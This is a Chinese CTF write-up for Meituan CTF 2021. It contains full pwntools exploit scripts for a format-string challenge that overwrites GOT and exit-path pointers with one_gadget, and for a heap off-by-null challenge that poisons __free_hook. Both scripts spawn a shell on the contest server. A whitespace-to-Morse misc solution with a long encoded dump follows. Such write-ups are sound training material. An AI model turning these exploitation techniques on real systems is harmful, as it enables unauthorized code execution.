美团ctf2021个人赛

wp

Posted by X1ng on December 20, 2021

pwn手快乐赛了属于是,两个pwn+一个misc冲到第二

PWN

welldone

格式化字符串漏洞,全局变量不为2333则会调用exit直接退出

用格式化字符串将exit的got表低2字节改为main函数可以循环利用格式化字符串

修改exit中会调用的rtld_lock_default_lock_recursive指针为one_gadget,将exit的got表改回退出

学习关于exit的利用方法 - X1ng’s Blog

打远程在格式化字符串写one_gadget的时候io似乎出现了一些问题,有时候多一个字节有时候少一个字节,,不理解

多跑几遍即可

from pwn import *
import time
context(log_level='debug',arch='amd64')

local=0
binary_name='welldone'

libc=ELF("libc.so.6")
e=ELF("./"+binary_name)
def exp():
	if local:
		p=process("./"+binary_name)
	else:
		p=remote('123.57.131.167',  15829)
		

	def z(a=''):
		if local:
		    gdb.attach(p,a)
		    if a=='':
		        raw_input
		else:
		    pass
	ru=lambda x:p.recvuntil(x)
	rc=lambda x:p.recv(x)
	sl=lambda x:p.sendline(x)
	sd=lambda x:p.send(x)
	sla=lambda a,b:p.sendlineafter(a,b)
	ia=lambda : p.interactive()

	def leak_address():
		if(context.arch=='i386'): 
			return u32(p.recv(4)) 
		else :
			return u64(p.recv(6).ljust(8,b'\x00'))

		
	one=[0xe6c7e,0xe6c81,0xe6c84]
    
	z('b*0x401262')
	ru("Write down what you want to say\n>")
	sd(b'%4566c%9$hn'.ljust(0x18,b'a')+p64(0x404040))

	ru("Write down what you want to say\n>")
	sd(b'%9$s'.ljust(0x18,b'a')+p64(0x404018))
	libcbase=leak_address()-0x875a0
	print(hex(libcbase))
	system = libcbase+libc.sym['system']
	
	addr=libcbase+0x222f68
	print(hex(addr))
	print(hex(libcbase+one[0]))
	
	f = libcbase+one[0] & 0xff
	print(hex(f))
	ru("Write down what you want to say\n>")
	sd(b'%'+str(f).encode()+b'c%9$hhn'.ljust(0x14,b'a')+p64(addr))
	
	f = (libcbase+one[0] & 0xff00)>>8
	print(hex(f))
	ru("Write down what you want to say\n>")
	sd(b'%'+str(f).encode()+b'c%9$hhn'.ljust(0x15,b'a')+p64(addr+1))
	
	f = (libcbase+one[0] & 0xff0000)>>16
	print(hex(f))
	ru("Write down what you want to say\n>")
	sd(b'%'+str(f).encode()+b'c%9$hhn'.ljust(0x14,b'a')+p64(addr+2))
	
	ru("Write down what you want to say\n>")
	sd(b'%4224c%9$hn'.ljust(0x18,b'a')+p64(0x404040))
	ia()

exp()

linknotes

链表结构,堆块头部放指向下一个堆块的指针

存在off-by-null漏洞,构造堆块重叠泄露libc,由于插入删除有unlink操作,所以不要将新堆块插入到重叠堆块附近

由于堆块头部是next指针,改free_hook为system也无法控制参数,改成one_gadget

from pwn import *
import time
context(log_level='debug',arch='amd64')

local=0
binary_name='linknotes'

libc=ELF("libc.so.6")
e=ELF("./"+binary_name)
def exp():
	if local:
		p=process("./"+binary_name)
	else:
		p=remote('123.57.131.167',  23156)

	def z(a=''):
		if local:
		    gdb.attach(p,a)
		    if a=='':
		        raw_input
		else:
		    pass
	ru=lambda x:p.recvuntil(x)
	rc=lambda x:p.recv(x)
	sl=lambda x:p.sendline(x)
	sd=lambda x:p.send(x)
	sla=lambda a,b:p.sendlineafter(a,b)
	ia=lambda : p.interactive()

	def leak_address():
		if(context.arch=='i386'): 
			return u32(p.recv(4)) 
		else :
			return u64(p.recv(6).ljust(8,b'\x00'))

	def cho(num):
		sla('>> ',str(num))
		
	def add(idx,sz,con):
		cho(1)
		ru('offset: ')
		sl(str(idx))
		ru("size: ")
		sl(str(sz))
		ru("content: ")
		sl(con)

	def delete(idx):
		cho(2)
		ru('offset: ')
		sl(str(idx))
		
	def show(idx):
		cho(3)
		ru('offset: ')
		sl(str(idx))

	
	
	add(0,0x80,'aaa')
	add(1,0xf0,'bbb')
	add(2,0xf0,'bbb')
	
	for i in range(15):
		add(i+3,0xf0,'aaa')
	for i in range(8):
		delete(3)
	
	
	add(16,0xf0,'bb')
	delete(3)
	add(3,0xf0,b'X'*0xe8+p64(0x200))
	
	

	delete(10)
	delete(4)
	for i in range(7):
		add(1,0xf0,'1')
	
	add(1,0xf0,'888')
	show(11)
	
	ru('content: ')
	libcbase = leak_address()-0x3ebca0
	system = libcbase+libc.sym['system']
	free_hook = libcbase+libc.sym['__free_hook']
	one = [0x4f3d5,0x4f432,0x10a41c]
	success(hex(system))
	print(hex(libcbase))
	
	for i in range(7):
		delete(2)
	delete(1)
	
	add(1,0x90,'aaa')
	add(1,0x90,b'a'*0x48+p64(0)+p64(0x101))
	
	add(1,0xf0,'X1ng')
	add(1,0xf0,'X1ng')
	
	delete(7)
	delete(3)
	print(hex(free_hook))
	
	add(1,0x90,b'X'*0x48+p64(0)+p64(0x101)+p64(free_hook-8))
	add(2,0xf0,'X1ng')
	add(2,0xf0,p64(libcbase+one[1]))

	delete(1)
	
	
	ia()


exp()

MISC

奇奇怪怪的语言

题目附件由缩进和空格构成,想到摩尔斯电码

写脚本转换

f = open('flag.ws','r')
f1 = open('a.txt','w+')
line = f.readline()


while line!='':
	for i in list(line):
		if i == ' ':
			print('.',end='')
			f1.write('.')
		elif i == '	':
			print('-',end='')
			f1.write('-')
	print()
	f1.write('/')
	line = f.readline()
	line = f.readline()
f.close()
f1.clsoe()

得到

....--.-.-/......--..../......--.-../.....-....-./......--..../......--..--/......--..../......--.-../......--...-/......--.-../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......---.../......--..../......--..../.....-.....-/.....-....--/......---..-/.....-....--/......--.---/......--.-.-/......--.-.-/......--..--/.....-...-.-/......--.-.-/.....-...-../......--..-./.....-....-./......--.-../......--..--/......---.../.....-...-../......---.../......--..../......--.-.-/......--..../......--..../......--..../......--..../......---..-/.....-...-.-/......--..../......--.--./......--..../......--..../......--..../......--..../......--..../......---.../......--..../......--..../......--..../......--..../......--..../......--..../......--.--./......--.--./......--.--./.....-....--/......--.--./......--...-/......--.--./......--.---/......--..-./.....-...-.-/......--.--./......--.---/......--.--./......---..-/......--.--./......--.--./......--.-../.....-...-../......--.-.-/......--..--/......--.---/......--...-/......--.-.-/......--..../.....-...-../......--.---/......--.---/......--.-.-/......--...-/......--..-./......--.-.-/.....-...-../.....-....-./.....-...-../.....-....--/......--.--./......--...-/......--..--/.....-....-./.....-....--/.....-....-./......---..-/......--..--/.....-.....-/......--..--/......--..--/......--.-../.....-...-.-/......--.--./.....-...-../.....-....--/......--..../......---.../......--.-../......--.-../.....-....-./......---..-/......--.-../......--..-./.....-...--./......---.../.....-.....-/.....-...-.-/......--..--/......---..-/......--.--./......---..-/......---..-/.....-.....-/......--.--./.....-...-../......--.-.-/......--.---/......--...-/.....-.....-/......--..--/......---.../......--...-/.....-.....-/......--..--/......--.---/......---..-/.....-...-.-/......--.--./......--...-/......--.---/......--.-.-/......--..-./......--..../......--.-../......--..-./.....-...-.-/.....-.....-/.....-...-../......--.-../......--.-.-/......--.--./......--..../......--..../......--..-./......--.-../.....-...-.-/......--...-/......--.-../......--..../.....-...--./.....-...-.-/......---.../.....-...-.-/......---.../......--.-.-/.....-....-./.....-.....-/......---..-/......--..-./......--...-/......--..-./......---.../......--.---/......---.../......---.../.....-...-../......--..-./......--.-.-/......--..../.....-....-./......--..-./......--.-../......--.--./......---.../......--...-/......--.---/.....-...-.-/......---.../......--.-../......--.---/......--...-/......--.-../......--..-./.....-...--./......---.../......--.-.-/......--...-/......--..--/......--..--/......--..--/.....-....--/.....-...-../......--..../......---.../......--.-../.....-...-../.....-...-../......---.../......--.-.-/......--..--/.....-....-./......--..--/.....-...--./.....-....-./......--.-../.....-...-.-/......---.../......--..-./.....-....--/......---.../......--..-./......---..-/......---.../......---.../......---.../......--..-./......--..../......---..-/......--..-./......--.--./......--...-/......--.-../......--.--./......--..-./......---.../......---..-/......--.---/.....-....-./.....-...--./.....-....--/.....-...-.-/......--.--./.....-...--./.....-...-.-/.....-....-./......---..-/.....-...--./.....-...-../.....-...-.-/.....-...--./.....-....--/.....-...-../.....-....--/.....-...-.-/.....-...-.-/.....-....--/.....-...-../.....-....-./......--.---/.....-...-../.....-...-.-/.....-...--./.....-...-.-/.....-...-../.....-....-./.....-....--/.....-....-./......--..../.....-....-./......---..-/......--..--/......--..--/......---..-/.....-...-.-/......--.---/.....-...-.-/.....-....--/......--.-.-/......---.../......--...-/......--..-./......--.-.-/......--.---/......--..../......--..../......--.---/.....-...--./.....-...-.-/......--.-.-/......--.---/......--..../......---.../......--.-../......--..../......--..../......--..../......--..../.....-....--/......--..-./......--..../......--..../......--..../......--..../.....-.....-/......--...-/......--.--./......---.../......--..../......---.../......--.-.-/......--.--./......--..../......--...-/......--...-/......--.-.-/......---.../......--..../.....-....--/......---..-/......--.--./......---.../......--..../.....-.....-/......--.-.-/......--.--./......--..../......--..../......--..--/.....-...-../......---.../......--..../......---.../......--..--/......--.--./......---.../......--...-/.....-....--/.....-...-../......--.--./......--..../......--..../.....-....-./.....-...-../......---.../......--..../.....-.....-/......--..../.....-...-.-/......---.../......--..../......---.../......--..--/.....-...-.-/......--..../......--...-/......--..../......--..--/......---.../......--..../.....-....--/......---.../.....-...-.-/......---.../......--..../.....-.....-/......--..--/......--.--./......--..../......--..../......--..../......--..../.....-....--/......---.../......--..-./......--..-./......--...-/......--..--/......--..../......--..../.....-....--/......--.-../......--.--./.....-....--/......--..../......--..-./......---.../.....-....-./......---.../......--..../......--..../......--..-./.....-...-.-/......---.../......--..-./......--.-../.....-....-./.....-...-.-/......--..../......--..--/......--..-./.....-....-./......---.../......--..../......--..-./.....-.....-/.....-...-.-/......--..../.....-...-.-/.....-....--/.....-...-.-/......--..../......--.--./......--.-../......--.-.-/......--.-.-/......--..../......--..../......--..-./......--.--./......--.-.-/......--.-.-/......--..../......--..../......--...-/......--.-.-/......--.-.-/.....-...--./......--.-../......--.---/......--..../......--..-./......--..--/......--..../......--..-./......--..-./......--...-/......--..--/......--..../......---.../......--..-./......--..../.....-....--/.....-...--./......--.--./.....-...-../......--..../......--..../......--..-./.....-....-./......--.-../......--...-/......--..../......--..-./.....-...-../......--.-../......--..-./......---.../.....-....-./.....-...-../......--...-/......--...-/......--..-./.....-....-./......--.-../......--...-/......--.-../......--.--./.....-...-../......--.-../......--..../......--...-/.....-....-./.....-...-../......--...-/......--..-./......--.--./.....-....-./......--.-../......--...-/......---..-/......--.--./.....-...-../......--.-../......--...-/......--.-.-/.....-....-./.....-...-../......--...-/......--..../......--...-/......--.---/......--.-../......--...-/......--..../......--...-/.....-...-../......--.-../......--..-./......---.../......--.---/.....-...-../......--...-/......--...-/......--...-/......--.---/......--.-../......--...-/......--.-../......--..../.....-...-../.....-.....-/......--..../......--.-../......--...-/......--..--/......--.-../......---.../......--.-../......---.../......--.--./.....-...-../......--...-/......--..../......---.../......--...-/.....-.....-/......--.-../......--.-.-/......--...-/......--.---/.....-...-../......--..../......--.-../......--.-.-/......--.---/......--.-../......--..../......---..-/......--.-.-/.....-...-../......--.-../......--.--./......--.-.-/......--.---/.....-...-../......--..../......--.-.-/......--.-.-/......--.-.-/......--.-../......--.-../......--..../......--.-../......--.-.-/......--.-.-/......--.-../......--.-../......--..-./......--.--./......--.-.-/......--.-.-/......--.-../......--.-../......--...-/......--.-.-/......--.-.-/.....-...--./......--..-./......---..-/.....-....--/......---.../.....-...-../......--..../......--.-../......--.-../......--.-../.....-....--/......--..../......--..../......--.-../......--..--/......--..-./.....-....-./......---.../......--...-/......--.--./......--.-.-/......---..-/......--.-../......--..../......--...-/......--.--./......---..-/......--..-./......--.-../......--.-.-/......--.--./......--.-../......--..--/......--...-/......--.-.-/......---..-/......--.-../......--..-./......---..-/......--.--./......---..-/......--..-./......--..../.....-...-../......--.--./......--.-../......--..-./......--..--/.....-...-../......---..-/......--.-../......--.-../......--..--/......--.--./......---..-/......--..--/......--..-./.....-...-../......--.--./......--.-../......--..-./.....-....-./......--..--/......---..-/......--.-../......--..../......--..../.....-...-.-/......---..-/......--..-./......--.-../......--..--/.....-...-.-/......--.-../......--..--/......--..../......--..--/......---..-/......--.-../......--..-./......---.../.....-...-.-/......---..-/......--..-./......--..../......--...-/......--..--/......--..-./......--.-../......---.../......---.../......--.--./.....-....--/......---.../......--..--/......--..../......--...-/......---..-/......--..-./......--...-/.....-.....-/......--..--/.....-...-.-/......--.-../......--..../......--..-./.....-....-./......---..-/......--.-../......---.../......--..-./.....-...-.-/......---..-/......--...-/.....-....--/.....-....-./.....-...-.-/......--.-../......--..../.....-.....-/.....-....-./......---..-/......--.-../.....-.....-/......--..../.....-.....-/.....-.....-/......--.-../......--.-../......---.../......--.-../.....-.....-/.....-.....-/......--.-../......--.-../.....-....--/......--..-./.....-.....-/.....-.....-/......--.-../.....-....--/.....-.....-/......--...-/.....-...-.-/.....-....--/......--.-.-/......---..-/......--...-/......---.../......--...-/......--...-/......---.../......---..-/......---.../......--.-../......--...-/......--..../......--.--./......--...-/......--.-.-/......--.--./......--...-/......--..../.....-....-./.....-...-../......---.../......--.-../......--..-./.....-....-./......--.--./......---.../......---.../......--..-./.....-...-../......--.--./......--.--./......--.-../.....-....-./.....-...-../......---.../......--.-.-/......--..-./.....-....-./......--.--./......---.../......--...-/......--.--./.....-...-../......--.--./......--.-../......---..-/.....-....-./.....-...-../......---.../......--.--./......--.--./.....-....-./......--.--./......---.../......--.-.-/......--.--./.....-...-../......--.--./......--.-.-/......--..../......--.---/.....-...-../......---.../......--.-../......--...-/......--.---/......--.--./......---.../......---.../......--...-/.....-...-../......--.--./......--.--./......--.-../......--.---/.....-...-../......---.../......--.-.-/......--...-/......--..--/......--.--./.....-....--/......--..../......--..../......--.--./.....-...-../......---..-/......--...-/......--..../......--...-/.....-....-./......--.--./......--.--./......--..-./......--..--/......--.--./.....-....--/......---..-/......--.-../......--.-.-/.....-...-../......--.--./......--..../......--...-/......--.---/.....-...-../......---..-/......--..-./......--.-.-/......--.---/......--.--./......---..-/......---..-/......--.-.-/.....-...-../......--.--./......--...-/......--.-.-/......--.---/......--.-.-/......---..-/......---.../......--...-/......--...-/......--.-.-/......--.-.-/......---..-/......---.../......---..-/......---..-/......--.-.-/......--.-.-/......---..-/......---.../......--.-.-/......--.-.-/......--.-.-/.....-....--/......--.-.-/......--.--./......--..--/......--..--/......--.--./......--..../.....-.....-/......---..-/......--..../......--..../......--..../......--..../.....-....-./.....-....--/......---.../.....-.....-/......--..../......--...-/......---..-/......--.--./......--..-./......---.../......--...-/......--.-.-/......---.../......--..-./......---.../......--...-/......--.--./......---.../......---..-/.....-....--/......--.-.-/......--.--./......--..-./......---.../......---..-/......--.-.-/......---.../......--..-./.....-.....-/......--..--/......--.--./......---.../......---.../......---.../.....-...-../......--.--./......--..-./......---..-/......--..--/.....-...-../......---.../......--..-./.....-....--/.....-....-./......--.--./......---.../......---.../.....-.....-/.....-...-../.....-...-.-/......--..-./......---.../......--..../......--..--/......---.../......--..-./......---.../......--..../.....-...-.-/......---.../......---..-/.....-....--/......--..--/.....-...-.-/......--..-./......---.../......---.../......--..--/......---.../......--..-./.....-.....-/......--..../......--.--./.....-....--/......--.-../.....-.....-/......--..../......--...-/......---.../......--...-/......--..-./.....-....--/......--..--/......--.--./......--..-./......--.-../......--.-../......---.../.....-....--/......---.../.....-.....-/......--..../.....-....-./.....-...-.-/......--..-./.....-.....-/......--..-./.....-....-./......---.../......--..-./......--.-../......--..-./.....-...-.-/......---.../.....-....-./......--..-./.....-....-./.....-...-.-/......--..-./.....-.....-/.....-.....-/......--..-./......---.../......---.../......---.../.....-.....-/......--..-./......--..-./......---.../......---.../......---..-/.....-....-./......--..-./.....-.....-/......---.../......---.../......---.../.....-.....-/.....-.....-/......--..-./......--.---/......--..../......---.../......---.../......--..../......--...-/.....-...-.-/......--.-../......---..-/......---.../......--..../......--..--/.....-...-../.....-....--/.....-...-../.....-....--/......--...-/......--..-./......---.../......--.-.-/......---.../.....-.....-/......--..../......--...-/......--.--./.....-.....-/.....-.....-/......--.-../......--.-.-/......--.--./.....-.....-/.....-....-./......--...-/......--.-.-/.....-.....-/.....-.....-/......--..-./......---..-/......--.--./.....-.....-/.....-.....-/......--..../.....-...-../......--.--./.....-.....-/.....-.....-/......--..--/.....-...-../.....-.....-/.....-.....-/......--.-../......--..--/......--.--./.....-.....-/.....-....-./......--..-./.....-...-../......--.--./.....-.....-/.....-.....-/.....-....-./......--..--/.....-.....-/.....-.....-/......--..../......--..../.....-...-.-/.....-.....-/.....-.....-/......--.-../......--..--/.....-...-.-/.....-.....-/.....-....-./......--..../......--..--/.....-.....-/.....-.....-/......--..-./......---.../.....-...-.-/.....-.....-/.....-.....-/......--..../......--...-/......--..--/......--.-.-/.....-.....-/......---.../......---.../......--.--./.....-...-../......--.-../.....-....-./......--..../......--...-/.....-.....-/......--.-.-/......--...-/.....-.....-/......--..--/.....-...-.-/.....-.....-/......---.../......--..-./.....-....-./.....-.....-/.....-.....-/......---.../......--..-./.....-...-.-/.....-.....-/......---..-/.....-....--/.....-....-./.....-...-.-/.....-.....-/......---.../.....-.....-/.....-....-./.....-.....-/......--...-/.....-...-.-/......--..--/......--..-./......--.-.-/......--.-.-/......---.../.....-...--./.....-...-../.....-....-./.....-.....-/.....-.....-/......---..-/.....-...-.-/.....-....-./.....-....-./......--..--/.....-...-../.....-...--./......---.../.....-...--./.....-...--./......--.--./.....-.....-/.....-...--./.....-....--/.....-...-../.....-...-../......--..../......--.---/......---.../......--.--./......--..../......--..../.....-...-../.....-....--/......---.../......--..--/......--.--./......--..../......--..../.....-...--./.....-...--./......--..../.....-...--./.....-....--/......--..../......--.-../......--..../.....-....--/......--.-.-/......--.---/.....-....-./......---.../......--..--/......--..--/......--..../......--.-../......--..../.....-...-.-/......--.-.-/......--.-../......---..-/......--.--./......---..-/.....-...-.-/......--.---/......---.../......--.--./.....-....-./.....-...-../......---.../.....-....--/......--..--/......--.-../......--...-/.....-....--/......--...-/.....-...-../......---..-/......---.../.....-....-./......--.-.-/.....-...-.-/.....-.....-/......---..-/.....-...-../.....-...-../.....-...--./......--..../.....-...-../......--..../.....-...--./......---.../......--..--/......---..-/......---..-/.....-....-./.....-...--./.....-...--./.....-....-./......--..-./.....-....-./......--.-.-/......--..--/......--.-../......--..--/......--.-../.....-...-../......--.---/......--..-./.....-....-./......--.---/......--..../......--.---/......--...-/.....-...--./......--..--/.....-....--/......--.-../.....-...-../.....-...--./......--..../......--.-../.....-...-../......--.-../.....-....-./.....-...-.-/.....-...-.-/......--.-.-/.....-...--./......--.---/......--.---/.....-....--/.....-....--/......--.--./.....-...-.-/......--.--./......---.../......---..-/.....-...-../......--..--/......--..../......--..-./......--.-.-/.....-...-.-/.....-....--/......---.../......--...-/.....-....-./......--..--/......--.-.-/......--.---/.....-...--./.....-...--./......--.-.-/......---..-/......--..-./.....-....-./.....-....-./......--.---/.....-...--./.....-...--./......--.--./......---..-/.....-...--./.....-....-./.....-...--./......--.--./.....-...-../......--.--./.....-.....-/......--.--./.....-....--/.....-...--./.....-...-../......--..--/......--..--/......--..--/......--.-.-/.....-...-.-/.....-...--./......--.-.-/......--...-/.....-....--/......--..--/.....-...-../.....-...--./.....-.....-/......--.--./......--..-./......--.--./.....-...-.-/.....-...--./......--..-./.....-.....-/.....-...-.-/.....-...-.-/......--..--/.....-....--/......--.-../.....-...--./......--.--./......--.---/......--..../.....-.....-/.....-....--/......--.---/......--..--/.....-...-.-/.....-...-.-/......---..-/.....-...--./.....-...-../......--.--./......--.-.-/.....-...-../......---.../.....-....--/......---.../.....-...--./......--..-./......--.---/......--..--/......--..-./......--.-.-/.....-.....-/......--...-/.....-.....-/......---..-/.....-...-../.....-...-.-/.....-...-../......--...-/.....-...-.-/......--...-/.....-.....-/......--..--/.....-...-.-/......--..-./......--.-../.....-...--./......--.--./.....-...-../......---..-/......---..-/......--.-.-/......--.---/......--...-/......--..-./.....-....-./......--..--/......--.---/.....-....--/.....-...--./......--.-../.....-...--./.....-....-./.....-...-.-/......--.--./.....-...-.-/.....-....-./.....-....-./......--..-./......---.../......--.-.-/.....-...-.-/......--.-.-/......--..../......---..-/......---..-/......--.---/......--..--/......--.--./.....-....-./......---..-/.....-.....-/.....-...--./.....-....-./.....-.....-/......--..--/......---..-/.....-....-./......--..--/......--.--./.....-....-./.....-...-../......--..--/......--.-.-/.....-....--/.....-.....-/.....-...--./.....-....-./......--.-../......---.../.....-.....-/......---..-/......--.---/......--.---/......--.--./......--.-.-/......--..../.....-.....-/.....-....--/.....-....--/.....-...--./......--.-../......--..../......--.---/......---.../......--.---/......--.-.-/.....-...-../......--.---/.....-.....-/......--..-./.....-...-.-/.....-.....-/.....-...-.-/......--.-../.....-...-../......--..../......---..-/.....-...--./......--..-./......--.-../.....-....--/......--...-/......--..../.....-...-.-/......---.../.....-...-.-/......--..--/.....-....--/......--...-/.....-....--/.....-....-./......--.--./......--..--/......--..-./.....-.....-/......--.--./.....-....--/.....-.....-/.....-.....-/.....-....--/......--..../......---..-/......---.../......---..-/.....-...-../.....-...-.-/......---..-/.....-...-../......--.-.-/......--.-.-/......--..--/......--..--/.....-....-./......--.-../.....-....-./.....-....-./......--..-./......--...-/......--..--/......--..-./.....-...-.-/......--.-../.....-....--/.....-.....-/.....-...--./......--...-/......--.-../......---..-/.....-....-./.....-...--./......---.../......---.../.....-...--./.....-....--/......--.-../......--..--/......--.-../......--.-.-/.....-...--./......--.-.-/......--.-../......--.---/.....-...-../......--...-/.....-.....-/......--.-.-/.....-...--./......--...-/.....-...-../......--.---/.....-...--./.....-...-../.....-...-../......--..--/......--.---/......--..-./.....-...--./.....-....-./......---..-/......--..-./.....-...-../.....-....-./......---.../.....-...-.-/.....-.....-/.....-....--/.....-....-./.....-...-.-/......--...-/......--..-./......--.---/......--..--/......--..-./.....-....--/.....-...--./.....-....-./......--.-../.....-...-.-/......--.-.-/.....-....--/.....-...--./.....-....-./......--..-./......--.---/......---..-/.....-....-./.....-...--./.....-...--./......---..-/......--.-.-/......--...-/......--.-.-/......--...-/.....-....--/......--.---/.....-....--/.....-...-.-/......--...-/.....-...--./.....-....-./......--.-.-/......--.---/.....-...--./......--.---/......--.-../.....-....--/......--..../......---.../......--..-./.....-....-./.....-...-.-/......---..-/......---..-/......--.--./......--...-/.....-...--./......--..../.....-...-.-/.....-....-./.....-....--/......--.-.-/......--.--./.....-...--./......--.---/......--.-../.....-...-.-/.....-...-.-/......---.../.....-...-../.....-...-.-/.....-....-./.....-....--/.....-....--/.....-....--/.....-.....-/......--.---/......--.-.-/......--..-./.....-.....-/.....-...--./......---..-/.....-...-.-/......--..-./......---..-/.....-...--./......---.../.....-.....-/.....-....--/.....-....--/......--.-.-/.....-.....-/......--.---/.....-...-.-/.....-....-./......--.-../......--..-./......--.---/......--.-.-/......--.---/......--.---/.....-...-../......--..--/.....-...--./......--...-/.....-...--./......--...-/.....-....--/......--.---/.....-....-./......--..--/......--.---/.....-...-.-/......--..--/......--.-.-/.....-...--./.....-.....-/.....-.....-/......---..-/.....-....-./......---.../.....-...--./.....-...--./.....-...-.-/.....-....--/......--.-.-/......---..-/......--...-/......--..../......--...-/......---.../......--..--/......--..-./......---..-/......--..../......---..-/......--...-/.....-...-../......--.--./......--.---/.....-.....-/......--.---/.....-.....-/......--.-.-/.....-...--./.....-...-.-/.....-...--./......---..-/......--.-../.....-....--/.....-.....-/.....-....--/.....-...-.-/......--.---/.....-....-./......---.../......--.---/......--.---/.....-...-.-/.....-.....-/......---.../.....-.....-/.....-....-./.....-...-../.....-...--./......---..-/......--..--/......--..--/.....-....--/......--..--/......---..-/.....-.....-/.....-...--./......--..--/......---.../......--..--/......--..--/.....-...-.-/......--.-.-/.....-....-./.....-....-./......--.--./.....-...-../......---.../.....-...--./......--.-.-/.....-...--./......--.-.-/......--.---/......---..-/.....-...--./......--.-.-/.....-...--./......--...-/......--.---/......--...-/.....-...-.-/.....-....-./.....-...-../......--.-.-/......---.../......--.---/......--.-.-/.....-...-.-/......---..-/.....-....--/......--.-../......---..-/.....-....-./......--.---/.....-...-../......--.-../......---..-/......--..--/.....-....-./.....-.....-/......--.--./.....-.....-/......--.---/.....-...-../.....-...-.-/.....-....-./.....-....--/......--..--/......--.-.-/.....-...-.-/.....-...--./......---..-/.....-...-../......---..-/......--..-./......--..-./......---..-/.....-....--/.....-...--./.....-...-../.....-...-.-/.....-...-.-/.....-...--./.....-...-.-/.....-...-../.....-...-../.....-.....-/......--.---/.....-...--./......--..--/.....-...-../......--..--/......--.--./......--.---/.....-...--./.....-....--/......--...-/......---..-/.....-....-./.....-....-./.....-.....-/.....-...--./......--.-../......---.../......--..-./.....-...--./.....-.....-/......---..-/......--.--./......---..-/......--.---/......--.--./......--.-../.....-...-../.....-...-.-/.....-...-../.....-....--/......--...-/......--..../.....-...-../......--.---/.....-....-./.....-....--/.....-...-.-/.....-...-.-/......---.../......--...-/.....-...--./.....-....-./.....-...--./......--..--/......---.../.....-.....-/......--..--/......--..--/......--.-.-/.....-.....-/.....-....-./.....-...-../......--.-.-/.....-...-.-/......--.--./.....-...-.-/......--.-../......---..-/.....-...-../.....-...--./......--.---/......--...-/.....-...--./......--.---/.....-...-../......--..../......---..-/......---.../......---..-/......--.-../......---.../......--...-/.....-.....-/......--.-.-/.....-.....-/......--.---/.....-....--/......--.--./......--..--/.....-.....-/.....-....-./.....-...--./......--.--./.....-....--/.....-....-./.....-...-../......--..--/.....-...-.-/......--.--./.....-...-.-/.....-...--./......--...-/......---..-/......---.../.....-....-./......---..-/.....-...-../.....-...--./......---..-/......--.--./.....-....-./.....-....--/.....-...--./.....-....-./......--.---/.....-...-../......--.---/.....-....--/......--.-.-/.....-....--/.....-...-.-/.....-....--/.....-....--/......--.--./......--.-../......--.---/.....-...--./.....-.....-/.....-.....-/.....-.....-/......--..-./.....-...-.-/......--.--./......--.---/......--.---/......---.../......--..-./.....-...-../.....-...-.-/.....-....--/.....-...--./.....-...--./.....-...-../......--..--/......---.../.....-.....-/......--...-/......--...-/.....-.....-/.....-....-./......--..-./.....-...--./......--..--/.....-....--/.....-....-./......--.--./......--.--./......--...-/......--.-.-/......---.../.....-...-../......---..-/.....-....-./.....-....-./.....-...--./.....-...-.-/......--...-/......---..-/......--.-.-/......--..--/......--..-./......--.---/......--.---/......--.-../.....-...--./......---.../......--.--./.....-...--./.....-...--./.....-.....-/......--.---/......--...-/......--.-../......--..--/......--.-../......--...-/......--.-.-/.....-....-./.....-...-../.....-...-.-/.....-...--./.....-...-../.....-...-.-/......---.../......---.../......--..-./......--.---/......--...-/.....-...--./......---..-/......--.-.-/......--..--/......--.---/.....-.....-/.....-....--/.....-.....-/......--.-.-/......--.---/......--..--/.....-.....-/......--.--./......--..--/......--.-.-/.....-....-./......---.../......--.---/.....-...--./.....-...--./......--..-./.....-...-.-/......--.--./......--...-/.....-....--/.....-...-../......---..-/......--.-.-/......--..-./......--.---/......--.-.-/......--.---/.....-.....-/.....-...-.-/......--..../.....-...--./......--..--/.....-....--/......--.---/......--.--./.....-....--/......--...-/......--.--./.....-...--./......--.-../.....-....-./.....-...-../......---.../.....-....--/.....-....--/......--..--/......--...-/......--.--./.....-...-../......--..-./......---..-/.....-...-../......--..--/.....-....--/......--..-./......--.-../.....-...--./.....-....-./......--.---/......--..-./......--.--./......--..-./.....-...-../.....-.....-/......--...-/......--.---/......--.-.-/......--.-.-/......--.---/.....-...--./......--..--/......--.--./......--.---/.....-...--./......--.---/......--.-../......--.-../......---.../.....-....--/.....-...-../.....-.....-/.....-...--./.....-...-.-/......--.---/.....-....--/......--.-../.....-....-./.....-...-.-/......--.-../......---.../.....-.....-/.....-....-./......--.-.-/......--..-./.....-...--./.....-...--./......--.-../......--..../.....-....--/......--.-.-/.....-...--./......--...-/......--...-/......--..--/......--...-/......--..--/......--.---/.....-.....-/.....-...-../.....-...--./......--..--/.....-....-./......--...-/.....-...--./......--.-.-/......--.--./.....-...-../......---.../.....-...--./......--...-/......--.-../.....-...-.-/.....-....--/......--.-.-/.....-.....-/......--...-/.....-...--./.....-...--./......--...-/.....-...--./.....-....-./......--.-../.....-...-../......--...-/......--..--/......---.../.....-.....-/......--...-/......--.---/......--..-./......--.-../.....-...-../......--..../.....-...-.-/......--..--/......--..--/......---..-/.....-...--./......--..--/......--..../.....-....-./......--..--/.....-....-./.....-...-../.....-.....-/......--..../.....-....-./.....-.....-/......--.---/.....-...-.-/.....-...--./......---..-/......---.../......--.-.-/......--.-../......---..-/......--.--./......--...-/.....-...-../.....-...--./.....-.....-/.....-...-../......--..--/......--...-/......---.../......--.-../.....-.....-/......--...-/.....-...-../......---..-/.....-....-./.....-....-./......--.---/.....-.....-/......--.---/.....-....-./.....-...-../......--..-./......--.-../.....-....--/.....-.....-/.....-...-.-/......--.---/......--.---/......--.-../......--.-.-/......--...-/.....-...-.-/......---..-/.....-....-./......---..-/.....-....-./.....-.....-/.....-....--/......--.--./.....-.....-/......---.../......--..-./.....-...-../......--.-../......--...-/......--..../.....-....-./......--...-/.....-....-./......--.--./......--..--/.....-...--./.....-...-.-/.....-...-.-/.....-...-.-/.....-...-../.....-...-../.....-....-./.....-...-../.....-.....-/......---..-/.....-....-./......--.-../......--.---/......---.../.....-...--./.....-.....-/......---..-/.....-....--/......--..-./......--..--/.....-...--./.....-...-.-/......--.--./......--.-.-/.....-...-../.....-....-./......--.-../......--.--./......---.../......--.--./......--.---/......--.-.-/......--.--./......--.-../.....-...-.-/......--.---/......--..../.....-...-.-/.....-...-.-/.....-...-../......--.---/.....-...--./......--.--./.....-...-../.....-...-.-/......--.---/......--...-/.....-...--./......--.--./......--.---/......--.--./.....-...-.-/.....-....-./.....-...--./.....-....-./......--.--./......--.---/.....-....-./.....-...-../.....-....--/......--..--/......--..-./......--..--/......--..--/.....-....-./......--...-/.....-...-.